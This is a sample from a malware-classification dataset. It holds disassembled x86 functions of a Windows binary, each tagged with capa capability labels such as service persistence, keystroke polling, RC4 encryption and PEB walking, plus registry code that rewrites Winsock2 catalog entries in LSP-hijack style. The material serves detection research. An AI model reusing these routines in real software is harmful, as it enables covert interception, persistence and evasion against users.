joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47eed0
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x39c
mov eax, dword [esp + 0x3a0]
push esi
push edi
mov edi, ecx
test eax, eax
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0x378
je 0x47f03c
mov ecx, dword [esp + 0x3ac]
test ecx, ecx
je 0x47f03c
mov edx, dword [esp + 0x3b0]
test edx, edx
je 0x47f03c
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 8]
push edx
push 0xf003f
push 0
push ecx
push eax
call esi
test eax, eax
jne 0x47f03c
mov edx, dword [esp + 8]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x2c]
push eax
push ecx
push 0
push 0
push str.PackedCatalogItem
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x47f020
cmp dword [esp + 0x10], 0x378
jne 0x47f020
cmp dword [esp + 0x158], 1
jne 0x47f049
cmp dword [esp + 0x17c], 2
jne 0x47f049
mov eax, dword [esp + 0x154]
lea ecx, [esp + 0x14]
push eax
push 0x663e9c
push ecx
call fcn.00491aa1
add esp, 0xc
lea edx, [esp + 0xc]
push edx
push 0x20019
push 0
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push reloc.WS2_32.dll_bind
call esi
test eax, eax
jne 0x47f020
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push eax
push ecx
mov ecx, edi
call fcn.0047f080
test eax, eax
je 0x47f020
mov edx, dword [esp + 0x10]
push 3
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push reloc.WS2_32.dll_bind
lea eax, [esp + 0x38]
push edx
lea ecx, [esp + 0x24]
push eax
push ecx
mov ecx, edi
call fcn.0047eb80
test eax, eax
je 0x47f020
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 8]
lea eax, [esp + 0x2c]
push edx
push eax
push 3
push 0
push str.PackedCatalogItem
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x47f049
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x47f031
push eax
call esi
mov eax, dword [esp + 8]
test eax, eax
je 0x47f03c
push eax
call esi
pop edi
xor eax, eax
pop esi
add esp, 0x39c
ret 0xc
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x47f05a
push eax
call esi
mov eax, dword [esp + 8]
test eax, eax
je 0x47f065
push eax
call esi
pop edi
mov eax, 1
pop esi
add esp, 0x39c
ret 0xc
Function at 0x47f080
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
sub esp, 0x480
mov ecx, dword [esp + 0x484]
mov dword [esp], 0x378
test ecx, ecx
je 0x47f141
mov eax, dword [esp + 0x488]
test eax, eax
je 0x47f141
lea edx, [esp]
push edx
lea edx, [esp + 0x10c]
push edx
push 0
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x47f141
cmp dword [esp], 0x378
jne 0x47f141
lea eax, [esp + 4]
push 0x104
lea ecx, [esp + 0x10c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x47f141
lea edx, [esp + 4]
push edx
call fcn.0047eb10
add esp, 4
test eax, eax
je 0x47f141
cmp dword [esp + 0x234], 1
jne 0x47f133
cmp dword [esp + 0x258], 2
jne 0x47f133
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x47f141
push str.WSPStartup
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x47f141
mov eax, 1
add esp, 0x480
ret 8
xor eax, eax
add esp, 0x480
ret 8

Function at 0x47f150
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x104
push esi
mov esi, dword [esp + 0x10c]
test esi, esi
je 0x47f1af
push esi
call fcn.0047eb10
add esp, 4
test eax, eax
je 0x47f1af
lea eax, [esp + 4]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x47f1af
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x47f1af
push 0x663ec0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
neg eax
sbb eax, eax
pop esi
neg eax
add esp, 0x104
ret 4
xor eax, eax
pop esi
add esp, 0x104
ret 4
Function at 0x47f240
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x110
push ebx
push ebp
mov ebp, dword [esp + 0x11c]
push esi
xor esi, esi
push edi
cmp ebp, esi
mov ebx, ecx
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
jne 0x47f274
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
push ebp
mov ecx, ebx
call fcn.0047f150
test eax, eax
jne 0x47f28d
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret 4
push ebp
mov ecx, ebx
call fcn.0047f1c0
cmp eax, 1
je 0x47f41a
lea eax, [esp + 0x10]
push eax
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x47f2c6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
mov edx, dword [esp + 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea ecx, [esp + 0x1c]
push 0x104
push ecx
push esi
push edx
call edi
test eax, eax
jne 0x47f342
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1c]
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x47f3c2
mov eax, dword [esp + 0x14]
push str.PackedCatalogItem
push eax
mov ecx, ebx
call fcn.0047f080
mov ecx, dword [esp + 0x14]
test eax, eax
push ecx
je 0x47f3d9
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
inc esi
push 0x104
push edx
push esi
push eax
mov dword [esp + 0x24], 0
call edi
test eax, eax
je 0x47f2e2
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
xor esi, esi
push 0x104
push edx
push esi
push eax
mov dword [esp + 0x28], esi
call edi
test eax, eax
jne 0x47f390
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push ebp
push edx
push eax
mov ecx, ebx
call fcn.0047ed30
test eax, eax
je 0x47f3c2
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
inc esi
push 0x104
push ecx
push esi
push edx
call edi
test eax, eax
je 0x47f35e
cmp dword [esp + 0x18], 1
jb 0x47f3c2
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
dec ecx
push reloc.WS2_32.dll_bind
push ecx
push ebp
push str.FileName
mov ecx, ebx
call fcn.0047ec10
cmp eax, 1
je 0x47f40b
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x47f3e9
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x14], 0
jmp 0x47f3c2
push ebp
mov ecx, ebx
call fcn.0047f430
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
mov eax, dword [esp + 0x10]
test eax, eax
je 0x47f41a
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x110
ret 4
Function at 0x47f430
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x10c
push ebp
mov ebp, dword [esp + 0x114]
push esi
xor esi, esi
push edi
cmp ebp, esi
mov edi, ecx
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], 1
jne 0x47f462
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x10c
ret 4
push esi
mov ecx, edi
call fcn.0047f1c0
test eax, eax
jne 0x47f47f
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x10c
ret 4
lea eax, [esp + 0xc]
push eax
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x47f4a6
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x10c
ret 4
mov edx, dword [esp + 0xc]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea ecx, [esp + 0x18]
push 0x104
push ecx
push esi
push edx
call ebx
test eax, eax
jne 0x47f4f4
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push ebp
push eax
push ecx
mov ecx, edi
call fcn.0047eed0
test eax, eax
jne 0x47f4dd
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
inc esi
push 0x104
push edx
push esi
push eax
call ebx
test eax, eax
je 0x47f4c3
push 0
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push reloc.WS2_32.dll_bind
mov ecx, edi
call fcn.0047eca0
mov eax, dword [esp + 0x10]
pop ebx
test eax, eax
je 0x47f517
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
add esp, 0x10c
ret 4

Function at 0x4aed56
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4aed8e
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004acde3
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004acdbb
jmp 0x4aed9a
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4b0444
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4b0486
call fcn.004b62c2
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4b0486
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4b047d
xor eax, eax
jmp 0x4b048e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004b0494
pop edi
pop esi
pop ebx
ret 4
Function at 0x4b67f2
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4b6820
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4b683e
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004b6758
jmp 0x4b683e
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4b683e
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004b6758
test edi, edi
mov eax, edi
jne 0x4b6828
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x40aca0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46b8db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045ff70
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40ad22
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045dd1d
mov eax, dword [eax]
push 0x48f1d0
push eax
call fcn.004501a4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004601fb
test bl, bl
je 0x40ad22
push 0x48f1d0
lea ecx, [esp + 0xc]
call fcn.0046058b
push 0x492d4c
lea ecx, [esp + 0xc]
call fcn.0046058b
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40ad5e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004601fb
jmp 0x40ae29
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40ade2
lea edx, [esp + 0x7c]
push 0x492d48
push edx
call fcn.004501a4
add esp, 8
test eax, eax
je 0x40ade2
lea eax, [esp + 0x7c]
push 0x492d44
push eax
call fcn.004501a4
add esp, 8
test eax, eax
je 0x40ade2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40ad72
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004601fb
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40b620
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40b682
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40b690
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x46b95b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4996d0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40b7c8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40b6f6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004601fb
xor eax, eax
jmp 0x40b83f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00460338
push esi
lea ecx, [esp + 0xc]
call fcn.004605c7
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40b81d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040b620
test eax, eax
jne 0x40b81d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040b620
test eax, eax
jne 0x40b81d
lea eax, [esp + 0x14]
push 0x492d60
push eax
call fcn.004511e0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40b7fc
lea ecx, [esp + 0x14]
push 0x492d5c
push ecx
call fcn.00451160
mov esi, eax
add esp, 8
test esi, esi
jne 0x40b7fc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40b7ff
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004602e8
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40b70e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004601fb
xor eax, eax
jmp 0x40b83f
mov byte [esi], 0
push 0x492d58
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004601fb
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41cd10
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41cd7e
cmp si, 0x69
ja 0x41cd7e
add esi, 0xffd0
cmp si, 0x11
je 0x41cd4e
push 0x11
call edi
test ax, ax
jge 0x41cd4e
or esi, 0x2000
cmp si, 0x10
je 0x41cd63
push 0x10
call edi
test ax, ax
jge 0x41cd63
or esi, 0x4000
cmp si, 0x12
je 0x41cd78
push 0x12
call edi
test ax, ax
jge 0x41cd78
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41cd8b
mov esi, 0xbd
jmp 0x41cd3f
cmp si, 0x6e
jne 0x41cd98
mov esi, 0xbe
jmp 0x41cd3f
cmp si, 0x6f
jne 0x41cd39
mov esi, 0xbf
jmp 0x41cd3f

Function at 0x41e430
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4a9dc8]
xor edx, edx
cmp eax, edx
jne 0x41e456
xor eax, eax
mov byte [eax + 0x4a9cc8], al
inc eax
cmp eax, 0x100
jl 0x41e43e
mov dword [0x4a9dc8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4a9cc8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41e4e7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41e4ba
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41e488
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41e560
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41e5b3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41e59a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x424ff0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x425188
cmp ebp, ebx
jle 0x425188
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x42504e
dec eax
or eax, 0xfffffff8
inc eax
je 0x425055
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x425064
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42506b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0045ff3c
add esp, 4
cmp eax, ebx
je 0x42508c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0045ff3c
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42517e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x425165
mov al, byte [edx]
cmp al, 0xc0
jbe 0x425151
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x425146
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x425154
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x425154
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x4250f0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4250e1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x4281e0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x46cfa8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x428219
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.004678ef
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.0046793b
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.004282a0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00467978
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
Function at 0x42c880
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x46d738
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x6c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x74]
push edi
push eax
mov eax, dword [esp + 0x74]
push ecx
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call fcn.0042d400
lea edx, [esp + 0x18]
push eax
push edx
call dword [sym.imp.USER32.dll_CopyRect]
mov eax, dword [esp + 0x18]
xor edi, edi
xor ecx, ecx
cmp eax, edi
setl cl
dec ecx
xor edx, edx
and ecx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edi
mov dword [esp + 0x18], ecx
setl dl
dec edx
and edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x20], edx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x42c929
mov eax, dword [esp + 0x6c]
push ebx
mov ebx, eax
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.0042c510
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push ecx
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
push edi
lea ecx, [esp + 0x4c]
call fcn.00466ba0
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], edi
call fcn.0043bdd0
mov edx, dword [esp + 0x5c]
add esp, 0xc
lea ecx, [esp + 0x18]
push 2
push ecx
push edx
call dword [sym.imp.GDI32.dll_LPtoDP]
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [esp + 0x38]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_IntersectRect]
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, esi
mov dword [esp + 0x64], 0xffffffff
mov dword [edx], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x34]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x48]
call fcn.00466c12
mov ecx, dword [esp + 0x5c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14